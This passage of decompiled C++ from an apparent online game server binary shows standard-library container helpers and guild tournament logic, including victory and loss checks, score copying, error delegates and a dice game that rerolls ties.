(signed int)((char *)this->_Mylast - result) / 28; return result; } //----- (00454F10) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 44; return result; } //----- (00454F30) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 40; return result; } //----- (00454F50) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 192; return result; } //----- (00454F70) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Rrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00454FD0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Min(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00454FF0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00455010) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00455030) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 21) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 21) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 21) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 21) ); if ( !*(_BYTE *)(v4 + 21) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 21); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00455090) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::const_iterator::_Inc(std::_Tree,std::allocator >,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 21) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 21) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 21); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 21); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (004550F0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Val) { GuildTournamentSystem::GuildMemberInfo *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x1Cu); } } //----- (004551E0) -------------------------------------------------------- void __cdecl std::fill(unsigned __int16 *_First, unsigned __int16 *_Last, const unsigned __int16 *_Val) { unsigned __int16 *i; // eax@1 for ( i = _First; i != _Last; ++i ) *i = *_Val; } //----- (00455200) -------------------------------------------------------- void __cdecl std::fill(TickTimer *_First, TickTimer *_Last, TickTimer *_Val) { TickTimer *i; // eax@1 TickTimer *v4; // edi@2 for ( i = _First; i != _Last; *(_DWORD *)&v4->m_bEnable = *(_DWORD *)&_Val->m_bEnable ) { v4 = i; i->m_CurDelayTime = _Val->m_CurDelayTime; i->m_DelayTime = _Val->m_DelayTime; ++i; } } //----- (00455240) -------------------------------------------------------- void __cdecl std::fill(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Val) { TOURNAMENT_PLAYER_SCORE *i; // eax@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->CharID.n4_name[0] = *(_QWORD *)&_Val->CharID.n4_name[0]; *(_QWORD *)&i->CharID.n4_name[8] = *(_QWORD *)&_Val->CharID.n4_name[8]; i->unIncreaseScore = _Val->unIncreaseScore; i->unDecreaseScore = _Val->unDecreaseScore; i->unDieCount = _Val->unDieCount; i->unKillCount = _Val->unKillCount; i->unGuildGreade = _Val->unGuildGreade; i->unCaptureFlag = _Val->unCaptureFlag; } } //----- (004552A0) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__cdecl std::_Copy_backward_opt(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { TOURNAMENT_PLAYER_SCORE *v4; // ecx@1 TOURNAMENT_PLAYER_SCORE *result; // eax@1 int v6; // esi@2 v4 = _Last; for ( result = _Dest; v4 != _First; result->unCaptureFlag = v4->unCaptureFlag ) { v6 = *(_DWORD *)&v4[-1].CharID.n4_name[0]; --v4; --result; *(_DWORD *)&result->CharID.n4_name[0] = v6; *(_DWORD *)&result->CharID.n4_name[4] = *(_DWORD *)&v4->CharID.n4_name[4]; *(_DWORD *)&result->CharID.n4_name[8] = *(_DWORD *)&v4->CharID.n4_name[8]; *(_DWORD *)&result->CharID.n4_name[12] = *(_DWORD *)&v4->CharID.n4_name[12]; result->unIncreaseScore = v4->unIncreaseScore; result->unDecreaseScore = v4->unDecreaseScore; result->unDieCount = v4->unDieCount; result->unKillCount = v4->unKillCount; result->unGuildGreade = v4->unGuildGreade; } return result; } //----- (00455300) -------------------------------------------------------- #error "455300: undefined or illegal type '#331' (funcsize=31)" //----- (00455370) -------------------------------------------------------- int __thiscall GuildTournamentSystem::GetVictoryGuild(GuildTournamentSystem *this) { unsigned int v1; // eax@1 unsigned int v2; // edx@1 int result; // eax@2 v1 = this->m_GroupB.m_unAllGuildScore; v2 = this->m_GroupA.m_unAllGuildScore; if ( v2 <= v1 ) { if ( v2 >= v1 ) result = 0; else result = this->m_GroupB.m_GuildNumber; } else { result = this->m_GroupA.m_GuildNumber; } return result; } //----- (00455390) -------------------------------------------------------- int __thiscall GuildTournamentSystem::GetLoseGuild(GuildTournamentSystem *this) { unsigned int v1; // eax@1 unsigned int v2; // edx@1 int result; // eax@2 v1 = this->m_GroupB.m_unAllGuildScore; v2 = this->m_GroupA.m_unAllGuildScore; if ( v2 <= v1 ) { if ( v2 >= v1 ) result = 0; else result = this->m_GroupA.m_GuildNumber; } else { result = this->m_GroupB.m_GuildNumber; } return result; } //----- (004553B0) -------------------------------------------------------- void *__thiscall ScriptInterrupt::InterruptEventWinGuild::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventWinGuild *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004553D0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00455430) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00455490) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find_if>::iterator_GuildTournamentSystem::GuildMemberInfo::Find_if_handle>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo::Find_if_handle _Pred) { std::vector >::iterator i; // ecx@1 std::vector >::iterator *v5; // eax@4 for ( i = _First; i != _Last; *(_DWORD *)&i += 28 ) { if ( **(_WORD **)&i == _Pred.m_hHandle ) break; } v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = i; return v5; } //----- (004554C0) -------------------------------------------------------- #error "4554C0: undefined or illegal type '#331' (funcsize=29)" //----- (00455500) -------------------------------------------------------- int __cdecl ShineDynamicCast(int a1) { int result; // eax@2 int v2; // eax@3 if ( a1 ) { v2 = (**(int (__thiscall ***)(_DWORD))a1)(a1); if ( v2 ) { while ( (ShineRTTI *)v2 != &ShineObjectClass::ShineMob::m_RTTI ) { v2 = *(_DWORD *)(v2 + 4); if ( !v2 ) goto LABEL_6; } result = a1; } else { LABEL_6: result = 0; } } else { result = 0; } return result; } //----- (00455540) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__cdecl std::copy_backward(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest) { GuildTournamentSystem::GuildMemberInfo *v3; // edx@1 GuildTournamentSystem::GuildMemberInfo *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x1Cu); } return result; } //----- (00455570) -------------------------------------------------------- unsigned __int16 *__cdecl std::copy_backward(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest) { unsigned __int16 *result; // eax@1 memmove((char *)&_Dest[-(_Last - _First)], (char *)_First, 2 * (_Last - _First)); return result; } //----- (00455590) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::GuildMemberInfo *v5; // edx@1 GuildTournamentSystem::GuildMemberInfo *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x1Cu); ++v5; } return result; } //----- (004555C0) -------------------------------------------------------- #error "4555C0: undefined or illegal type '#331' (funcsize=32)" //----- (00455610) -------------------------------------------------------- GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetCurGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber) { GuildTournamentSystem::GuildGroup *result; // eax@1 result = &this->m_GroupA; if ( this->m_GroupA.m_GuildNumber != GuildNumber ) { result = &this->m_GroupB; if ( this->m_GroupB.m_GuildNumber != GuildNumber ) { if ( this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, _DWORD))this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); result = 0; } } return result; } //----- (00455650) -------------------------------------------------------- void __thiscall DiceGame::End(DiceGame *this) { DiceGame *v1; // esi@1 TickTimer *v2; // edi@1 unsigned int v3; // eax@2 unsigned int v4; // ecx@2 v1 = this; v2 = &this->m_nDelayTic; if ( TickTimer::IsEnable(&this->m_nDelayTic) ) { TickTimer::Enable(v2, 0); v3 = v1->m_BlueDiceResult; v4 = v1->m_RedDiceResult; if ( v3 != v4 ) { if ( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis || v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction ) { if ( v3 >= v4 ) ((void (__thiscall *)(_DWORD, _DWORD))v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction)( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis, v1->m_BluePlayerNumber); else ((void (__thiscall *)(_DWORD, _DWORD))v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction)( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis, v1->m_RedPlayerNumber); } } } } //----- (004556B0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > *this) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator >,0> >::_Node *)operator new(0x18u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (004556F0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Larg, std::_Tree_nod,std::allocator >,0> >::_Node *_Parg, std::_Tree_nod,std::allocator >,0> >::_Node *_Rarg, std::pair *_Val, char _Carg) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator >,0> >::_Node *)operator new(0x18u); if ( result ) { result->_Left = _Larg; result->_Right = _Rarg; result->_Parent = _Parg; result->_Myval.first = _Val->first; result->_Myval.second = _Val->second; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00455730) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00455770) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (004557B0) -------------------------------------------------------- int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst) { int v3; // eax@1 memmove(dst, src, 2 * ((a2 - (signed int)src) >> 1)); return 2 * ((a2 - (signed int)src) >> 1) + v3; } //----- (004557E0) -------------------------------------------------------- void __cdecl std::_Random_shuffle>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal) { int v3; // ebx@1 unsigned int i; // edi@1 int v5; // esi@2 int j; // eax@2 int v7; // edx@5 int v8; // ecx@5 int v9; // eax@5 v3 = *(_DWORD *)&_First + 4; for ( i = 2; v3 != _Last; *(_DWORD *)v9 = v8 ) { v5 = 32767; for ( j = rand() & 0x7FFF; v5 < i; j = (j << 15) | 0x7FFF ) { if ( v5 == -1 ) break; v5 = (v5 << 15) | 0x7FFF; } v7 = j % i; v8 = *(_DWORD *)v3; v3 += 4; ++i; v9 = *(_DWORD *)&_First + 4 * v7; *(_DWORD *)(v3 - 4) = *(_DWORD *)v9; } } //----- (00455850) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::GuildMemberInfo *_First, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x1Cu); v6 = (char *)v6 + 28; --v5; } while ( v5 ); } } //----- (00455880) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__cdecl std::_Uninit_copy>(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { TOURNAMENT_PLAYER_SCORE *v5; // edx@1 TOURNAMENT_PLAYER_SCORE *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x28u); ++v5; } return result; } //----- (004558B0) -------------------------------------------------------- #error "4558B0: undefined or illegal type '#331' (funcsize=52)" //----- (00455940) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SetErrorDelegate(GuildTournamentSystem *this, fastdelegate::FastDelegate1 delegate) { this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; } //----- (00455970) -------------------------------------------------------- void __thiscall GuildTournamentSystem::ClearErrorDelegate(GuildTournamentSystem *this) { this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = 0; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = 0; } //----- (004559A0) -------------------------------------------------------- void __thiscall DiceGame::DiceThrow(DiceGame *this, unsigned int GameUser) { DiceGame *v2; // esi@1 signed __int16 v3; // ax@7 unsigned int v4; // ecx@7 int v5; // eax@7 int v6; // edx@8 signed __int16 v7; // ax@12 unsigned int v8; // ecx@12 int v9; // eax@12 signed int v10; // [sp-4h] [bp-8h]@17 v2 = this; if ( !TickTimer::IsEnable(&this->m_nDelayTic) ) { if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, _DWORD))v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis, 6995); return; } if ( v2->m_RedPlayerNumber == GameUser ) { if ( !v2->m_RedDiceResult ) { v3 = RandomBox::rb_1000(&rndbox); v4 = v2->m_BlueDiceResult; v5 = (unsigned __int16)v3 % 6 + 1; v2->m_RedDiceResult = v5; if ( v5 == v4 ) { do { v6 = RandomBox::rb_1000(&rndbox) % 6 + 1; v2->m_RedDiceResult = v6; } while ( v6 == v2->m_BlueDiceResult ); } DiceGame::Send_DiceThrowResult(v2, v2->m_RedPlayerNumber, v2->m_RedDiceResult); goto LABEL_22; } LABEL_15: if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) { v10 = 6990; LABEL_21: ((void (__thiscall *)(_DWORD, _DWORD))v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis, v10); goto LABEL_22; } goto LABEL_22; } if ( v2->m_BluePlayerNumber == GameUser ) { if ( !v2->m_BlueDiceResult ) { v7 = RandomBox::rb_1000(&rndbox); v8 = v2->m_RedDiceResult; v9 = (unsigned __int16)v7 % 6 + 1; v2->m_BlueDiceResult = v9; if ( v8 == v9 ) { do v2->m_BlueDiceResult = RandomBox::rb_1000(&rndbox) % 6 + 1; while ( v2->m_RedDiceResult == v2->m_BlueDiceResult ); } DiceGame::Send_DiceThrowResult(v2, v2->m_BluePlayerNumber, v2->m_BlueDiceResult); goto LABEL_22; } goto LABEL_15; } if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) { v10 = 6988; goto LABEL_21; } LABEL_22: if ( v2->m_BlueDiceResult && v2->m_RedDiceResult ) DiceGame::End(v2); } //----- (00455AE0) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this) { this->_Myres = 15; this->_Mysize = 0; this->_Bx._Buf[0] = 0; } //----- (00455B00) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned int *_Keyval) { std::_Tree_nod,std::allocator >,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.first >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval.first ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00455B70) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_basic_string_std::allocator>(std::basic_string,std::allocator > *this) { std::basic_string,std::allocator > *v1; // esi@1 v1 = this; if ( this->_Myres >= 0x10 ) operator delete(*(void **)&this->_Bx._Buf[0]); v1->_Myres = 15; v1->_Mysize = 0; v1->_Bx._Buf[0] = 0; } //----- (00455BA0) -------------------------------------------------------- unsigned __int16 *__thiscall 